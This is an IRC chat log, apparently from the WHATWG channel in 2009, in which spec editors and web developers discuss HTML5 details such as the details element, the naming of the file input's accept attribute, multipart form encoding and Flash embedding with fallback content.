[18:52:02.0000] <Hixie>
all

[18:53:00.0000] <alyoshka>
Hixie: which would mean that technically there's nothing there so it wouldn't render any details? Or would it?

[18:54:00.0000] <Hixie>
the rendering section says that <details> renders its first <dt>, and hides everything else when closed, and shows it all when open, iirc

[18:54:01.0000] <Hixie>
so the <dd> doesn't matter

[18:56:00.0000] <alyoshka>
so if there is no explicit <dd> it would still work by wrapping the rest in a dynamically created <dd>?

[18:57:00.0000] <alyoshka>
I'm just working with the DOM too, so I need to know how that looks too

[18:57:01.0000] <Hixie>
what i'm saying is that the <dd> is irrelevant

[18:58:00.0000] <alyoshka>
"If there is no child dd element, then there are no details." <- would that affect the DOM though?

[18:58:01.0000] <Hixie>
<details> <dt> A </dt> B </details> -- B is shown or hidden based on whether the details has an open attribute or not, A is always shown

[18:58:02.0000] <alyoshka>
ok, I guess that works

[18:58:03.0000] <alyoshka>
but nothing to hook into really if there is no <dd>

[18:59:00.0000] <alyoshka>
for backwards compatibility

[19:00:00.0000] <alyoshka>
that would obviously be the authors' problem though

[19:01:00.0000] <Hixie>
yeah

[19:01:01.0000] <Hixie>
maybe it should be changed

[19:01:02.0000] <Hixie>
i dunno

[19:01:03.0000] <alyoshka>
I think it should

[19:01:04.0000] <alyoshka>
so that the two sections would be consistent

[19:02:00.0000] <alyoshka>
I gotta run now though

[19:02:01.0000] <alyoshka>
bye

[19:16:00.0000] <MikeSmith>
Hixie: thanks for the sotd change -- the wording is fine by me, better than what I suggested

[19:23:00.0000] <MikeSmith>
I often use too many words where fewer will do

[19:23:01.0000] <MikeSmith>
IanJ is also powerful good at stating things succinctly in writing

[19:23:02.0000] <MikeSmith>
you guys should collaborate more

[20:27:00.0000] <karlcow>
[12:37]  <MikeSmith> and karlcow does too a little

[20:27:01.0000] <karlcow>
I speak Mooish!

[21:06:00.0000] <heycam>
so what are 'dc' and 'ds'?

[21:16:00.0000] <othermaciej>
reserved for future use I guess?

[21:17:00.0000] <othermaciej>
but I'm not sure reserving them in the parsing rules is either necessary or helpful

[21:17:01.0000] <othermaciej>
<ds> might be for "stage direction" in a future resurrected <dialog>

[21:19:00.0000] <heycam>
haha

[21:19:01.0000] <heycam>
(that is a joke right?)

[21:27:00.0000] <othermaciej>
heycam: no -- it would be the way to include either literal stage directions or things like IRC lave/join notifications or /me actions or out-of-band timestamps from AIM logs or the like

[21:27:01.0000] <heycam>
huh, ok,

[21:27:02.0000] <othermaciej>
heycam: whether all that put together would be a good idea, I don't know

[21:28:00.0000] <heycam>
<-- heycam has joined #whatwg, stage left.

[21:38:00.0000] <tantek>
Hixie, you said "i don't think i've ever seen a disclosure triangle widget that had another one inside it" - nested folders in any Finder list view, since the 1990s.

[21:38:01.0000] <tantek>
and any ftp/gopher/web interface that has sought to imitate that UI for browsing a hierarchical system of resources/files/objects etc

[21:46:00.0000] <othermaciej>
tantek: the outline view is kind of a special case - it's something that should be supported by <datagrid> whenever that comes back

[22:00:00.0000] <tantek>
othermaciej - people will use <details> for that because they can.

[22:39:00.0000] <Hixie>
anyone remember who did that research recently looking at various sites that marked up conversations?

[23:03:00.0000] <heycam>
Hixie, it was sicking iirc

[23:04:00.0000] <Hixie>
yeah that matches my memory too, but i couldn't find any e-mails from him about that

[23:04:01.0000] <Hixie>
what is last month maybe?

[23:04:02.0000] <Hixie>
i thought it was recently

[23:04:03.0000] <heycam>
yeah i thought it was only a week ago or so

[23:05:00.0000] <Hixie>
i looked in public-html and whatwg and couldn't find it

[23:05:01.0000] <Hixie>
do you remember what he had searched for?

[23:05:02.0000] <heycam>
it was some shakespeare

[23:06:00.0000] <heycam>
ah here it is, on whatwg

[23:06:01.0000] <heycam>
Date: Wed, 2 Sep 2009 22:33:01 -0300

[23:06:02.0000] <Hixie>
aah, found it also

[23:06:03.0000] <heycam>
it'd be nice if the mailing list software you're using inserted Archived-At headers :)

[23:06:04.0000] <Hixie>
the subject line threw me off

[23:07:00.0000] <Hixie>
it would be nice if the mailing list software we used didn't suck like an industrial vacuum

[23:08:00.0000] <Hixie>
http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-September/022576.html

[23:09:00.0000] <othermaciej>
I love how o:p makes an appearance

[23:16:00.0000] <tantek>
opp = other people's paragraphs?

[23:17:00.0000] <othermaciej>
the second p - it stands for proprietary

[23:18:00.0000] <derferman>
so, I was hoping to looking into the notification standard that google has proposed

[23:18:01.0000] <derferman>
where would I find it?

[23:19:00.0000] <tantek>
dererman *the* notification standard?

[23:19:01.0000] <tantek>
do you mean PubSubHubbub?

[23:20:00.0000] <tantek>
or Google Wave?

[00:13:00.0000] <derferman>
neither

[00:14:00.0000] <derferman>
One of the lead chrome product managers was at Berkeley the other day

[00:18:00.0000] <derferman>
and mentioned google had proposed a javascript api for notifications

[00:33:00.0000] <tantek>
Webhooks

[00:33:01.0000] <tantek>
http://blog.webhooks.org/

[00:33:02.0000] <tantek>
used by Google Wave and others

[02:09:00.0000] <til>
has anyone got custom attributes working in IE8?

[02:09:01.0000] <til>
elm.setAttribute('data-propname', 'data-propname') works in every browser (incl. IE7), but not 8

[02:36:00.0000] <annevk2>
Hixie, "new language that was no" should be "... was not"

[02:37:00.0000] <Hixie>
hx

[02:37:01.0000] <Hixie>
thanks even

[02:37:02.0000] <annevk2>
Hixie, also, it is "DOM Level 2 Core" and "DOM Level 2 HTML"

[02:37:03.0000] <annevk2>
not DOM HTML Level 2

[02:38:00.0000] <Hixie>
will fix

[02:38:01.0000] <annevk2>
"all the Level 3 drafts were published" I think they were all published, just not finished (i.e. published as Note)

[02:39:00.0000] <Hixie>
changed to completed

[02:40:00.0000] <annevk2>
it reads quite objective btw; nice job

[02:41:00.0000] <Hixie>
i tried

[02:41:01.0000] <Hixie>
:-)

[02:45:00.0000] <Steve^>
I read that article is being considered for a renaming. I thought section was causing the confusion?

[02:46:00.0000] <annevk2>
Hixie, btw, the Web Storage or Web Database or maybe both still use DOM attribute in their boilerplate

[02:47:00.0000] <Hixie>
Steve^: things are always being considered, but i think currently nothing is really going to change on that front

[02:47:01.0000] <Hixie>
annevk2: thanks, forgot about those files

[02:48:00.0000] <Steve^>
I think the names are fine and when outliners are added to web dev tools, people should understand better

[02:52:00.0000] <Hixie>
hsivonen: "If, after doing so, the insertion mode is still "in foreign content", but there is no element in scope that has a namespace other than the HTML namespace, switch the insertion mode to the secondary insertion mode."

[02:52:01.0000] <Hixie>
hsivonen: is that text well-defined enough in your opinion? If it needs tightening up, what do you suggest it should be tightened to?

[02:52:02.0000] <mookid>
hello internet friends

[02:53:00.0000] <mookid>
I have a request

[02:53:01.0000] <Hixie>
i guess it's well-defined

[02:54:00.0000] <heycam>
/me wonders if mookid and karlcow are related =)

[02:54:01.0000] <mookid>
can you please change the accept attribute on file input fields

[02:54:02.0000] <mookid>
so it's a content-type attribute instead

[02:55:00.0000] <mookid>
using accept for that is arse-about-face

[02:55:01.0000] <Hixie>
it's consistent with <form>

[02:55:02.0000] <Hixie>
from html4

[02:55:03.0000] <mookid>
change it it's wrong

[02:55:04.0000] <mookid>
:)

[02:56:00.0000] <mookid>
Accept is for client preferences for responses

[02:57:00.0000] <annevk2>
we still have that attribute?

[02:57:01.0000] <Hixie>
we can't change it, it's from html4

[02:57:02.0000] <annevk2>
/me thought it was useless

[02:57:03.0000] <mookid>
so you can't change anything from html4?

[02:57:04.0000] <Hixie>
annevk2: nah it's useful for saying "i just want images"

[02:57:05.0000] <annevk2>
ah right

[02:58:00.0000] <Hixie>
mookid: the rule isn't quite so black and white, but in this case, it is indeed something we can't change

[02:58:01.0000] <annevk2>
though <form> does not have it (well it has accept-charset)

[02:58:02.0000] <mookid>
yeah erm

[02:58:03.0000] <mookid>
that doesn't make sense

[02:58:04.0000] <mookid>
circular justification

[02:59:00.0000] <Hixie>
annevk2: <form accept> is in html4

[02:59:01.0000] <Hixie>
woo, below 100 XXX markers too!

[02:59:02.0000] <Hixie>
and still below 100 e-mails!

[02:59:03.0000] <annevk2>
Hixie, but not in HTML5 :)

[03:00:00.0000] <mookid>
yeah I would drop it

[03:00:01.0000] <mookid>
it's stupidly named

[03:00:02.0000] <Hixie>
annevk2: oh? did we move it off <form>? interesting

[03:00:03.0000] <annevk2>
but HTML4 has it on <input>

[03:00:04.0000] <annevk2>
and so does HTML5

[03:00:05.0000] <Hixie>
oh ok

[03:00:06.0000] <mookid>
hmm

[03:00:07.0000] <annevk2>
doesn't seem like something we want to change indeed

[03:00:08.0000] <mookid>
why?

[03:01:00.0000] <Hixie>
mookid: your interest in http content negotiation is a lost cause here, i fear

[03:01:01.0000] <Lachy>
we need to keep it on input, on the condition that browsers actually implement it and do something useful with it. I'm not aware of any browser that does, though

[03:01:02.0000] <mookid>
Hixie: this isn't content-negotiation actually

[03:01:03.0000] <annevk2>
changing the name of something has cost and marginal benefit

[03:01:04.0000] <mookid>
this is just horrendously named attributes

[03:01:05.0000] <mookid>
that are confusing

[03:01:06.0000] <Hixie>
mookid: html has lots of horrendously named things

[03:01:07.0000] <mookid>
you've called the content-type control.. Accept

[03:01:08.0000] <Hixie>
live with it :-)

[03:02:00.0000] <mookid>
which is completely WRONG

[03:02:01.0000] <Hixie>
"accept" makes plenty of sense

[03:02:02.0000] <Hixie>
it's what the server wants to accept

[03:02:03.0000] <mookid>
no it doesn't.

[03:02:04.0000] <takkaria>
ps fear the axiomatic proof

[03:02:05.0000] <Lachy>
mookid, it makes sense because it says which content types are accepted by the file upload control

[03:02:06.0000] <krijnh>
http://twitter.com/ppk/statuses/4075175585

[03:02:07.0000] <virtuelv>
I really, really miss the index of elements from the html 4 spec

[03:02:08.0000] <mookid>
yes I guessed that was the reason

[03:02:09.0000] <krijnh>
He's at LC already! :(

[03:03:00.0000] <annevk2>
krijnh, haha

[03:03:01.0000] <Lachy>
haha

[03:03:02.0000] <mookid>
in HTTP - Accept has a specific meaning in a request; it means the media types the client wants to recieve back in the response

[03:03:03.0000] <Hixie>
virtuelv: if you can write the script that generates the index for html5, i'll put it in immediately. :-)

[03:03:04.0000] <annevk2>
krijnh, I have the feeling it's not going away with three implementations, but I look forward to his pile of shit rant and tests he uses to back it up :)

[03:03:05.0000] <mookid>
what that attribute is actually controlling is the content-type header

[03:03:06.0000] <Lachy>
has no-one told PPK that we're pretty much stuck with the overall design of drag and drop for compatibility reasons?

[03:03:07.0000] <Hixie>
virtuelv: http://www.whatwg.org/specs/web-apps/current-work/#index

[03:03:08.0000] <mookid>
so it should be called content-type

[03:03:09.0000] <krijnh>
annevk2: yeah, me too

[03:04:00.0000] <mookid>
and not accept

[03:04:01.0000] <annevk2>
dude, you're over a decade too late with that name change

[03:04:02.0000] <mookid>
....

[03:04:03.0000] <mookid>
so you cna't make changes?

[03:04:04.0000] <Hixie>
mookid: "content-type" is the type, it's not what it is

[03:04:05.0000] <Hixie>
mookid: it'd be like calling the min="" attribute "integer"

[03:05:00.0000] <Hixie>
mookid: and no, it's too late to change this

[03:05:01.0000] <virtuelv>
the whatwg section of the spec is cruel to my laptop

[03:05:02.0000] <mookid>
in the run up to 2032?

[03:05:03.0000] <mookid>
-_-

[03:05:04.0000] <mookid>
yeah ok.

[03:07:00.0000] <Lachy>
virtuelv, if you block the scripts, it helps the spec load faster

[03:07:01.0000] <Hixie>
mookid: actually the run up is to next month

[03:07:02.0000] <Hixie>
the plan is to reach LC in october 2009

[03:07:03.0000] <Hixie>
and we seem to be on track! http://www.whatwg.org/issues/data.html

[03:08:00.0000] <Lachy>
Hixie, do you expect the HTMLWG to actually publish LC at that time, or just that the spec itself will be ready for it in theory?

[03:08:01.0000] <mookid>
Hixie: nice =)

[03:08:02.0000] <takkaria>
Hixie: your script is borked

[03:09:00.0000] <Lachy>
and will there be a Last Call snapshot published on whatwg.org, independently from the HTMLWG, regardless of what they do?

[03:09:01.0000] <takkaria>
Hixie: it appears to not be plotting the lines on the issues graph

[03:10:00.0000] <Lachy>
takkaria, which browser are you using?

[03:10:01.0000] <Lachy>
the script relies on canvas text apis, which is why it breaks in Opera

[03:10:02.0000] <Steve^>
Is this some new form of art?

[03:10:03.0000] <takkaria>
ah, I need to use Fx3.5 then

[03:10:04.0000] <takkaria>
apparently I've never look at that on my work computer before

[03:11:00.0000] <Steve^>
Firefox 3.0 shows a more graph-like thing.. but I have no idea what it means

[03:11:01.0000] <Steve^>
/me doesn't have a browser on his system capable of viewing that graph

[03:12:00.0000] <jgraham_>
Steve^: You need more browsers

[03:12:01.0000] <takkaria>
ah, Chrome works

[03:12:02.0000] <Hixie>
Lachy: i expect the whatwg to publish an LC draft in october

[03:12:03.0000] <annevk2>
for those without capable browsers: "77 e-mails remaining; 92 issues remaining; 158 bugs remaining. Last updated 0.2 hours ago."

[03:13:00.0000] <mookid>
Hixie: content-type is the content-type for that file input; what's the problem with that?

[03:14:00.0000] <Steve^>
isn't content-type used elsewhere with a different meaning?

[03:14:01.0000] <mookid>
that's how the Content-Type header shuold be set for any request going out

[03:14:02.0000] <annevk2>
no

[03:14:03.0000] <annevk2>
the content-type is application/form-data or some such

[03:15:00.0000] <mookid>
right - that's pretty wrong

[03:15:01.0000] <mookid>
if my browser is upload a pdf it should be setting the content-type  header for that chunk to application/pdf

[03:15:02.0000] <Hixie>
mookid: content-type is the type of a parameter, not a name of a parameter.

[03:16:00.0000] <mookid>
eh? dunno what you saying there Ian

[03:16:01.0000] <Hixie>
mookid: both enctype="" and accept="" take content types on <input>, and we can't name them both content-type

[03:16:02.0000] <annevk2>
mookid, not if the pdf is encoded as application/form-data (or whatever the actual type is)

[03:16:03.0000] <Hixie>
actually it's called formenctype now

[03:16:04.0000] <Hixie>
not enctype

[03:16:05.0000] <Hixie>
but the point is the same

[03:16:06.0000] <mookid>
wait what

[03:17:00.0000] <mookid>
what does formectype do then?

[03:18:00.0000] <mookid>
annevk2: if the browser is sending a pdf it should be setting the content-type header to applicaiton/pdf suyrely?

[03:18:01.0000] <mookid>
that's what that header is for..

[03:18:02.0000] <mookid>
application/form-data is meaningless

[03:18:03.0000] <Steve^>
last time I tried looking at them, I found the values to be very inconsistent

[03:19:00.0000] <Hixie>
mookid: i recommend reading the spec before sending feedback :-)

[03:19:01.0000] <Steve^>
but this was some years ago

[03:19:02.0000] <annevk2>
mookid, no, but I'm bowing out of this discussion no

[03:19:03.0000] <mookid>
hmm ok

[03:19:04.0000] <mookid>
very odd.

[03:20:00.0000] <brucel>
So, Mike Smith said yesterday that IRC rocks http://krijnhoetmer.nl/irc-logs/whatwg/20090917#l-1066 and I should hang out in this party. Question about classid being non-conformant in html5. Someone at a conference I spoke at needs to do Hixie's Flash fallback thang http://damowmow.com/playground/demos/flash/001.html but it's illegal in html5.  How can this be achived?

[03:20:01.0000] <mookid>
what do you people have against HTTP? -_-

[03:20:02.0000] <boblet>
hey brucel :)

[03:20:03.0000] <krijnh>
Howdy brucel!

[03:20:04.0000] <mookid>
did Fielding piss in your corn flakes or something?~

[03:20:05.0000] <virtuelv>
Lachy: that might be, but just loading the spec is painful when I've clamped my CPUs to 800MHz

[03:20:06.0000] <brucel>
hi gang. Now this IS a nice party

[03:20:07.0000] <krijnh>
Not it is, yes ;)

[03:21:00.0000] <krijnh>
*Now

[03:21:01.0000] <virtuelv>
because you know, that's only about as fast as a mobile phone these days

[03:21:02.0000] <krijnh>
brucel: so, why aren't you coming to Fronteers 2009, damnit!

[03:21:03.0000] <mookid>
Hixie: where abouts on the spec are you suggesting I read

[03:21:04.0000] <Hixie>
brucel: people didn't have a problem violating the html4 spec to get it working in IE, why would they have a problem violating the html5 spec? :-)

[03:22:00.0000] <virtuelv>
/me had expected brucel to show up with clownabuser as his nick

[03:22:01.0000] <Hixie>
(IE's use of clsid="" and codebase="" both violate HTML4's definitions)

[03:23:00.0000] <boblet>
“IE, the Violator”

[03:23:01.0000] <Hixie>
i suppose we should find someone way to include flash in html5 that works in IE, though, even if we never had one for html4

[03:23:02.0000] <boblet>
woah, that sounds way too scary

[03:23:03.0000] <brucel>
Hixie, fair point but this guy wants to Do It Right TM

[03:24:00.0000] <Hixie>
let's see...

[03:24:01.0000] <mookid>
Hixie: wait, I just read it - and it doesn't explain anything at all it just repeats the same nonsense from html4; why did you tell me to read the spec?

[03:24:02.0000] <brucel>
krijnh - Fronteers possibly clashes with a trip elsewhere. Plus, I can never find decent beer in the Netherlands

[03:25:00.0000] <Hixie>
mookid: you read the whole spec in 5 minutes?!

[03:25:01.0000] <mookid>
why do I need to read the whole spec in order to have a discussion on this specific issue?

[03:26:00.0000] <Philip`>
It's a subtle to plan to keep you busy for three weeks

[03:26:01.0000] <Steve^>
mookid, you just want the name of "accept" changed?

[03:26:02.0000] <Hixie>
what Philip` said

[03:26:03.0000] <mookid>
well yeah but I think this whole thing about content-type header on upload would be useful

[03:26:04.0000] <krijnh>
brucel: hmm, okay :)

[03:26:05.0000] <Philip`>
s/subtle to/subtle/

[03:27:00.0000] <krijnh>
No decent beers, tsk

[03:27:01.0000] <Hixie>
brucel: ok so say you wanted to embed the flash file "http://www.macromedia.com/shockwave/download/triggerpages_mmcom/flash.swf"

[03:27:02.0000] <annevk2>
brucel, really? I hardly ever have that problem

[03:27:03.0000] <mookid>
why are we using application/form-data when the mime type can be specified properly

[03:27:04.0000] <Hixie>
brucel: it looks like the easiest way to do that in IE is the following markup:

[03:27:05.0000] <Hixie>
   <embed src="http://www.macromedia.com/shockwave/download/triggerpages_mmcom/flash.swf"> 

[03:27:06.0000] <annevk2>
brucel, what kind of beer are you into?

[03:28:00.0000] <annevk2>
mookid, that you do not understand that indicates you should read the spec

[03:28:01.0000] <Hixie>
brucel: and that is valid in HTML5

[03:28:02.0000] <mookid>
annevk2: why don't you just explain it, it's not that complicated a question :/

[03:28:03.0000] <Philip`>
mookid: When you're uploading a PDF file via <input type=file>, the data it sends is not simply the file content, it has to include the field name and other input fields and stuff, so it's sending some special type of form data and not just a PDF

[03:28:04.0000] <Philip`>
I think

[03:29:00.0000] <mookid>
isn't that why it's chunked?

[03:29:01.0000] <mookid>
the actually payload chunk can have the content-type specified

[03:29:02.0000] <mookid>
actual^

[03:29:03.0000] <Steve^>
that seems sensible

[03:30:00.0000] <Hixie>
/me wonders where brucel went

[03:30:01.0000] <mookid>
it's extremely useful if you're trying to write layered HTTP systems

[03:30:02.0000] <mookid>
like CDNs

[03:30:03.0000] <Steve^>
mookid, can you trust that though? Maybe you'll need to do a server side check on the file content still?

[03:30:04.0000] <mookid>
potentially

[03:30:05.0000] <mookid>
implementation detail

[03:31:00.0000] <mookid>
you might just want to store a bogus file anyway

[03:31:01.0000] <brucel>
Hixie, went on reverie about beer. Back now

[03:32:00.0000] <brucel>
So, the outer <object> that you used (with classid for IE) can be replaced by embed, which is now legal in html5?

[03:33:00.0000] <Steve^>
mookid, do browsers not already do that?

[03:33:01.0000] <Hixie>
brucel: the whole thing can be replaced by embed

[03:33:02.0000] <mookid>
I don't think so

[03:33:03.0000] <brucel>
didn't think embed had fallback for non-flash browsers?

[03:34:00.0000] <Hixie>
it doesn't

[03:35:00.0000] <brucel>
customer wants to "embed" Flash, with fallback to static <img>, but validate as html5

[03:35:01.0000] <Hixie>
oh, you didn't say that

[03:35:02.0000] <Hixie>
said customer has users who actually don't have flash and would be happy with a static img instead? wow

[03:36:00.0000] <brucel>
sorry, should've; that's why I went for your double object menthod. 

[03:36:01.0000] <brucel>
Hixie: fallback for Safari, Opera and other mobile browsers so there's no big white space

[03:36:02.0000] <krijnh>
Why not use SWFObject for that?

[03:36:03.0000] <Hixie>
set a background image on the container

[03:37:00.0000] <brucel>
while I understand why classid is not allowed - and speaking of Flash is distasteful here - it seems likie a valid request

[03:38:00.0000] <brucel>
SWFObject is good - but there should be a markup-only way imo to get to the static fallback content

[03:39:00.0000] <Steve^>
(doesn't <video> allow that?)

[03:40:00.0000] <Hixie>
brucel: damowmow.com/playground/demos/flash/003.html

[03:40:01.0000] <Hixie>
er

[03:40:02.0000] <Hixie>
brucel: http://damowmow.com/playground/demos/flash/003.html

[03:40:03.0000] <mookid>
Steve^: no they don't do that

[03:41:00.0000] <mookid>
Hixie: that's right, yeah - browser send the data chunked but the don't set the conte-type header on the way out?

[03:41:01.0000] <Hixie>
mookid: i really have no idea what you're talking about

[03:41:02.0000] <Steve^>
mookid, I'm by no means important around here, but it seems logical for that to be set on the correct chunk. Could be added to the spec

[03:41:03.0000] <brucel>
Hixie v nice

[03:41:04.0000] <mookid>
that was rationale for calling 'accept' 'content-type'

[03:42:00.0000] <mookid>
because it's constraining what those headers can be set to

[03:42:01.0000] <Hixie>
mookid: and your rationale for not calling formenctype content-type is what?

[03:42:02.0000] <mookid>
well I don't know why there's 2

[03:42:03.0000] <mookid>
feel free to explain

[03:42:04.0000] <Hixie>
one is to set what file types the <input> element accepts, and the other is to sent what the encoding type will be when the form is submitted

[03:42:05.0000] <brucel>
another attendee question: is there any use in the <header> element if surrounds a heading <h1>..<h6> and nothing else? (I said no)

[03:42:06.0000] <Steve^>
mookid, I think Hixie's integer example was marvellous.   min="" rather than integer=""

[03:42:07.0000] <mookid>
how could those.. be different? -_-

[03:43:00.0000] <Steve^>
mookid, accept-content-type would be better, it says what it is and what type of thing it takes. Or shorten to accept

[03:43:01.0000] <mookid>
yeah ok fair enough

[03:43:02.0000] <Hixie>
mookid: if i submit a form with three form fields, i can submit it either using multipart/formdata, or using the foo=bar&baz=quux&a=b format, or using the foo: bar\nbaz: quux format

[03:44:00.0000] <Hixie>
mookid: that's the enctype

[03:44:01.0000] <Steve^>
we must assume that developers can read the spec and know what type each attribute takes, and refer to the attributes only by name

[03:44:02.0000] <Hixie>
mookid: and a single form can have multiple <input type=file>s, one accepting images, one accepting PDF files, etc

[03:44:03.0000] <Hixie>
you really should read the spec

[03:44:04.0000] <mookid>
mmmhmmm

[03:45:00.0000] <mookid>
you should write better specs

[03:45:01.0000] <beowulf>
miaow

[03:45:02.0000] <mookid>
:)

[03:45:03.0000] <Philip`>
Do you have concrete suggestions that would make it better?

[03:45:04.0000] <mookid>
fire Ian.

[03:45:05.0000] <mookid>
:D

[03:45:06.0000] <Philip`>
That would result in the spec not being written, so I'm not sure that'd be any better

[03:46:00.0000] <mookid>
really?

[03:46:01.0000] <mookid>
I don't know about that.

[03:46:02.0000] <mookid>
as things stand anyway

[03:46:03.0000] <Steve^>
Some of what mookid says it good.  Uploaded files should be sent with the corrent content-type.

[03:46:04.0000] <annevk2>
mookid, the relevant specs are not written by Ian

[03:47:00.0000] <annevk2>
mookid, that is, you could chose to read HTML4 and the relevant RFCs instead

[03:47:01.0000] <mookid>
I'm being jovial, relax

[03:47:02.0000] <mookid>
deep breaths

[03:47:03.0000] <Hixie>
let me know when you're done writing the specs instead of me :-)

[03:47:04.0000] <annevk2>
mookid, I'm just explaining he does not need to be a barrier to your learning process

[03:48:00.0000] <mookid>
ok, look I'm just trying to help you write a hypermedia format that works better with the protocol which makes it worth something

[03:48:01.0000] <mookid>
blablabla email not just HTTP

[03:48:02.0000] <brucel>
hixie your demo page, nothing at all shows in FF3.5 for some reason; when I disable Flash in Opera I don't get fallback content. (Dunno how to disable Flash in the other browsers)

[03:49:00.0000] <mookid>
HTTP is pretty important and what HTML5 provides will constrain/inhibit developers to use it

[03:49:01.0000] <Hixie>
brucel: huh, dunno what's up with firefox

[03:49:02.0000] <annevk2>
mookid, what you've said so far indicates you do not have a basic understanding of HTML forms and yet you want to propose changes to it

[03:50:00.0000] <annevk2>
mookid, that does not work

[03:50:01.0000] <mookid>
the reason I'm tlaking to you on here is because I accept that fact

[03:50:02.0000] <mookid>
if you spent less time telling me I was wrong and more time explaining why

[03:50:03.0000] <mookid>
perhaps this wouldnt drag out everytime

[03:51:00.0000] <annevk2>
several people already explained your misunderstanding but it didn't improve matters apparently

[03:51:01.0000] <mookid>
I don't think you did actually

[03:52:00.0000] <brucel>
annevk2, krijnh (I have found good beer in Holland, but last time I felt really bad after just 2 pints of that Jenever beer.)

[03:52:01.0000] <Hixie>
brucel: try now

[03:52:02.0000] <annevk2>
brucel, lol

[03:52:03.0000] <krijnh>
Jenever beer :D

[03:52:04.0000] <takkaria>
mm, Jenever

[03:53:00.0000] <Hixie>
mookid: when i tried to explain to you what you were misunderstanding, you told me to write better specs

[03:53:01.0000] <mookid>
annevk2: why is there any need to specify the formenctype for a file input field that already has the acceptable content-types specified?

[03:53:02.0000] <Hixie>
mookid: this is not conducive to a good working relationship

[03:53:03.0000] <mookid>
the content-type header will need to be set according to the file selected

[03:53:04.0000] <mookid>
it needs to be dynamic

[03:53:05.0000] <annevk2>
wtf, twitter changed my avatar

[03:54:00.0000] <mookid>
hence why I don't see a need for accept and formectype

[03:54:01.0000] <brucel>
Hixie works in FF3.5, still no fallback in Opera. Need to test other browsers too. Cheers

[03:54:02.0000] <Steve^>
annevk2, there were some issues, yes

[03:54:03.0000] <Hixie>
dunno what's up with the new fallback

[03:55:00.0000] <mookid>
Hixie: surely it doesnt make any sense to pre-define the enc type for a file input that hasn't been selected?

[03:55:01.0000] <annevk2>
mookid, formenctype doesn't apply to file input

[03:56:00.0000] <mookid>
are you sure? its linked under the file type

[03:56:01.0000] <Hixie>
mookid: enctype isn't important to your point, the point is just that there are many attributes that take content-types, so namign the attribute "content-type" makes no sense

[03:56:02.0000] <annevk2>
mookid, yes

[03:56:03.0000] <Hixie>
mookid: just like we wouldn't name the name="", value="", title="", and class="" attributes string=""

[03:56:04.0000] <Hixie>
or the min="", max="", and step="" attributes number=""

[03:56:05.0000] <mookid>
Hixie: ok how about accept-content-type

[03:56:06.0000] <mookid>
or content-types-accepted

[03:56:07.0000] <Hixie>
accept="" is fine

[03:57:00.0000] <Hixie>
we don't say min-number="" or title-string="" or class-list-of-keywords="" or id-unique-string="" or whatever

[03:57:01.0000] <zcorpan__>
Hixie, brucel: you can have one object that has both data="" and <param name=movie>

[03:57:02.0000] <zcorpan__>
data="" works in all but ie

[03:57:03.0000] <zcorpan__>
<param> works in all but firefox

[03:58:00.0000] <zcorpan__>
(someone file a bug in moz bugzilla?)

[03:59:00.0000] <MikeSmith>
my irc client beeped a beer sound.. somebody said "beer"

[03:59:01.0000] <Hixie>
zcorpan__: i considered that but it looks silly :-)

[03:59:02.0000] <MikeSmith>
./lastlog beer

[03:59:03.0000] <MikeSmith>
whoah

[03:59:04.0000] <takkaria>
MikeSmith: ah, we know how to summon you now you've told us that

[03:59:05.0000] <MikeSmith>
brucel!

[03:59:06.0000] <Hixie>
ok 3am, i should go to bed

[04:00:00.0000] <Hixie>
nn

[04:00:01.0000] <mookid>
Hixie: is it the job of the HTML5 spec to mandate that the chunk containing the file contents have the apropriate content-type header set ?

[04:00:02.0000] <zcorpan__>
Hixie: having two objects makes things harder for scripts

[04:00:03.0000] <mookid>
=/

[04:01:00.0000] <MikeSmith>
annevk2: cantillon gueuze

[04:01:01.0000] <zcorpan__>
mookid: file a spec bug to make Hixie reply :)

[04:01:02.0000] <MikeSmith>
oh man

[04:01:03.0000] <MikeSmith>
mookid: hey

[04:01:04.0000] <mookid>
?

[04:01:05.0000] <mookid>
hi

[04:01:06.0000] <mookid>
how's it going?

[04:01:07.0000] <MikeSmith>
good good

[04:01:08.0000] <mookid>
sound

[04:02:00.0000] <annevk2>
Steve^, do you know if the avatars come back?

[04:02:01.0000] <mookid>
anyone help? - is it the job of the HTML5 spec to mandate that the chunk containing the file contents have the apropriate content-type header set ?

[04:03:00.0000] <Steve^>
annevk2, "Update (5:30p): We�ve identified the root cause of this problem and expect the issue to be resolved within the next several hours."

[04:03:01.0000] <annevk2>
mookid, no

[04:03:02.0000] <Steve^>
annevk2, keep an eye on twitter.com/twitter

[04:03:03.0000] <annevk2>
Steve^, ta

[04:03:04.0000] <mookid>
annevk2: which body would spec that out?

[04:03:05.0000] <annevk2>
mookid, IETF

[04:03:06.0000] <mookid>
really? o.O

[04:04:00.0000] <mookid>
it seems pretty relevant to HTML

[04:05:00.0000] <brucel>
cheers zcorpan

[04:05:01.0000] <zcorpan>
hi brucel

[04:05:02.0000] <zcorpan>
mookid: file a spec bug

[04:05:03.0000] <mookid>
gah I can't do dorky things like that

[04:05:04.0000] <mookid>
have no idea what I'm doing there

[04:05:05.0000] <zcorpan>
mookid: sure you can, it's simple as pie. use the comment box in the whatwg spec

[04:06:00.0000] <brucel>
zcorpan, thx for advice on  the flash thang

[04:06:01.0000] <mookid>
yeah but I'll word it like I'm on IRC

[04:06:02.0000] <zcorpan>
so?

[04:06:03.0000] <mookid>
and then people will laugh at me and I wont be cool anymore

[04:06:04.0000] <zcorpan>
it's anonymous :)

[04:06:05.0000] <mookid>
oh ok cool

[04:07:00.0000] <zcorpan>
brucel: it's basically the same thing as the old ALA article

[04:07:01.0000] <annevk2>
mookid, it's defined in RFC 2388

[04:07:02.0000] <zcorpan>
brucel: iirc, ie would wait with showing the flash until it has downloaded the whole file

[04:09:00.0000] <mookid>
hmm interesting annevk2: As with all multipart MIME types, each part has an optional "Content-Type", which defaults to text/plain.  If the contents of a file are returned via filling out a form, then the file input is identified as the appropriate media type, if known, or "application/octet-stream"

[04:10:00.0000] <Steve^>
mookid, that's from the spec?

[04:10:01.0000] <mookid>
from the RFC he just told me to look at

[04:10:02.0000] <mookid>
http://www.ietf.org/rfc/rfc2388.txt section 3

[04:10:03.0000] <Steve^>
oh, I see

[04:10:04.0000] <Steve^>
if its not in the spec, file a bug report to have it added

[04:10:05.0000] <zcorpan>
does html5 reference it?

[04:10:06.0000] <annevk2>
zcorpan, yes

[04:10:07.0000] <Steve^>
and then when it is added, file a bug report against each of the browsers :

[04:11:00.0000] <annevk2>
zcorpan, but mookid refuses to read the spec

[04:11:01.0000] <mookid>
link to the part of html5 I shoul dbe looking at?

[04:11:02.0000] <mookid>
